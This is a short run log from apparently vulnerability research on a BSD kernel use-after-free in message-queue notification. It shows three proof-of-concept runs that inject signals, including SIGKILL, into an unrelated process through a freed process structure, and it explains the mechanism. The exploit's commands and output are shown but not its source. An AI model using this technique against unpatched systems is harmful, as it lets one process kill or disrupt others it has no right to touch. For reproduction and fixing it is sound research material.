DF-2778 run.log — decisive runs (2026-09-01, guest pre-fix kernel)

=== Run 1: signo=10 (SIGUSR1), kill mode ===
$ cd /tmp/poc && ./uaf_notify 96 10
DF-2778 PoC: rounds=96 signo=10 pid=867
round 0: *** HIT: victim killed by alien sig 10 (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED

=== Run 2: default handler mode (SIGUSR1 with handler) ===
$ cd /tmp/poc && ./uaf_notify 8
DF-2778 PoC: rounds=8 signo=30 pid=891
[VICTIM] *** ALIEN SIGUSR1 RECEIVED THROUGH FREED struct proc ***
round 0: *** HIT: victim got the alien signal (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED
(BSD SIGUSR1 == 30; kernel dmesg: "pid 880 (uaf_notify), uid 1001: exited
on signal 10 (core dumped)" — the victim's core dump.)

=== Run 3: SIGKILL variant (signo=9) — cross-process SIGKILL injection ===
$ cd /tmp/poc && ./uaf_notify 4 9
DF-2778 PoC: rounds=4 signo=9 pid=894
round 0: *** HIT: victim killed by alien sig 9 (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED

100% reproduction: every variant hit on round 0.  The innocent victim
process (freshly forked, merely sleeping, never called mq_* itself) was
signalled/killed through the freed struct proc of the exited registrant —
the kernel wrote to and read from recycled heap memory believing it was the
registrant's live process (PHOLD/PRELE on p_lock, lwkt_gettoken on p_token,
SIGADDSET_ATOMIC on p_siglist, signal delivery to the occupying process).